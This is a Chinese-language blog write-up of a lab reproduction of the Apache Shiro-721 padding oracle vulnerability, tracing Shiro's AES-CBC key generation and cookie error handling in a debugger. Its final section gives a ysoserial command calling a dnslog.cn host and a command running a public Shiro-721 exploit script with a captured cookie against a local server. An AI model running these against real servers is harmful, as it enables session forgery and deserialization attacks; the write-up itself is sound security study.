环境搭建
有点小懒哈哈,就直接用的Drunkbaby师傅的环境了,直接用downgit下载了,然后和shiro550一样配一个tomcat就可以了,搭建好之后就是这样子的。

漏洞分析
这个漏洞主要基于Padding Oracle Attack攻击,由于shiro对cookie的加密模式为AES-CBC,并且可以从返回中得到从而导致了这个漏洞的存在
Padding Oracle Attack
原理可以参考这几个佬写的,写的很详细。
https://goodapple.top/archives/217
https://lightless.me/archives/padding-oracle-attacks.html#_label2_0
我个人的理解是,通过是否能使明文符合填充规律的判断来依次爆破iv最后一个字节到第一个字节的值,以此得到所有正确的明文以及中间值,然后将iv进行修改,从而异或出想要的明文。
Padding Oracle Attack的利用条件有几个:
- 是使用AES-CBC进行加密的
- 可以获取到密文以及iv
- 可以观察到解密的结果是否正确
加密代码分析
首先是他的加密代码,在之前的shiro550漏洞的分析过程中,通过对其解密方式的分析寻找到了其AES加密的默认密钥,而后续shiro将默认密钥取消,更改为如果用户不自己设置密钥,就随机生成,在那段代码中就存在AES加密的实现代码。
首先,找到org.apache.shiro.mgt.AbstractRememberMeManager#AbstractRememberMeManager这个方法就是之前shiro550中找到密钥的方法。

然后看到其加密是调用了AesCipherService这个类的,跟进这个类

这个类很简单,但是他是继承了DefaultBlockCipherService这个类的,所以继续跟进到DefaultBlockCipherService这个类中

找到他的构造函数, 其中继承了父类并初始化了加密算法,其中设置了加密模式为CBC, 并将流式加密的填充方案设置为 PKCS5,这就构成了Padding Oracle Attack的部分条件,也就是加密为AEC-CBC模式。
密钥生成
这里调试一下,来跟一下它密钥生成的过程。

首先可以看到其初始化的一些参数, shiro是通过generateNewKey()方法来获取密钥的,所以调试到generateNewKey中

继续步入到generateNewKey,

然后初始化了一个KeyGenerator,其中getAlgorithmName的参数就是AES,随后调用init()方法,继续步入init()。

其中JceSecurity.RANDOM是一个预定义的 SecureRandom 对象,通常用于提供安全的随机数,随后步入到下面的init()方法中,

其进行了一个初始化的操作,其中engineInit方法用于初始化 AES 加密引擎,继续调试,在engineGenerateKey方法中下一个断点。

这个方法是用于AES的密钥生成的,其中通过定义好的密钥大小进行随机生成密钥。

可以看到密钥已经成功生成了,随后跟进到getEncoded中。

将密钥读取出来,从而完成密钥生成操作
Shiro中的cookie处理操作分析
错误处理
首先找到解密函数org.apache.shiro.mgt.AbstractRememberMeManager#decrypt()

继续跟进到cipherService.decrypt中,

这个方法用于解密操作,并提取初始化iv,继续跟进到下一个decrypt中。

步入crypt,其进入了doFinal方法。

跟进到doFinal,可以发现其有两个异常处理,分别用于捕获块大小异常和填充错误异常。

如果出现异常的话将会被抛出到crypt() 方法中,并且进入onRememberedPrincipalFailure方法。

跟进到onRememberedPrincipalFailure方法,这个方法又调用了forgetIdentity方法,这个方法就是输出Set-Cookie: rememberMe=deleteMe的方法,因此如果Padding不正确将会输出Set-Cookie: rememberMe=deleteMe。

正确处理
当没有报出异常时,程序将继续运行,从而获取于返回解密后的序列化数据。

返回序列化数据后,就和shiro550的反序列化处理是一样的了。



由于有俩个不同的返回值,正确时正常返回,错误时返回Set-Cookie: rememberMe=deleteMe,因此构成了Padding Oracle Attack的条件。
漏洞复现
首先就是使用yso生成一个payload.class文件,
1 | java -jar ysoserial-all.jar URLDNS "http://zjc7fd.dnslog.cn" > payload.class |
然后用这个脚本跑https://github.com/inspiringz/Shiro-721
1 | #https://github.com/3ndz/Shiro-721 |
将paddingoracle.py下载下来然后放在一个目录里就可以了
目录如下

1 | python2 1.py http://192.168.45.1:8080/shiro721_war/account ODTZF2XfGvZt6Sd7nPr1uobDF3wEPLFATG4FI/AnHlfqK84poH1O29Isv1b28yKUPb4Q0+mQJJIOdLjxUGQ/yH6tfO+/vv0ELaDPr10htVAClDEdYbtWN8LETc8tCiAwYshj0ScvakVXDbmjcIVkUA2HEP0KPJJbO5Fy6MgG27XXhikyVnehaqITonX9C1EVFGuvzCZPZygYlHP3Lw+VAXMQ7+fD0P5OrmIwk60DqE7cFWSxkXMi/Q7odK0blH/6rvOrLcirrga0bIi0+6RN/F0Sl9zQSnZCZlZylT1c8HvxYCLblmnZjh8FG7RZpYO4mTkuGp2b6KqkLUEC4cXO+dMGYcscAUWOc+RUeBsSLlB/j/UodYfa98Gzf2luMldcDX1K5YN+Z2j0Qj9TQbU6OTmxbr6+FD9Sf7bJuU8lRQyNSj2sygd/9Q3U5nDUQTq4/B3rb6afnfRYHeG8A4qaNgiYHJxIZ+BcTgclz6IMp4bkGYWdTFcTBMwplckHWpop payload.class |
执行成功

工具复现,这个是真快我丢
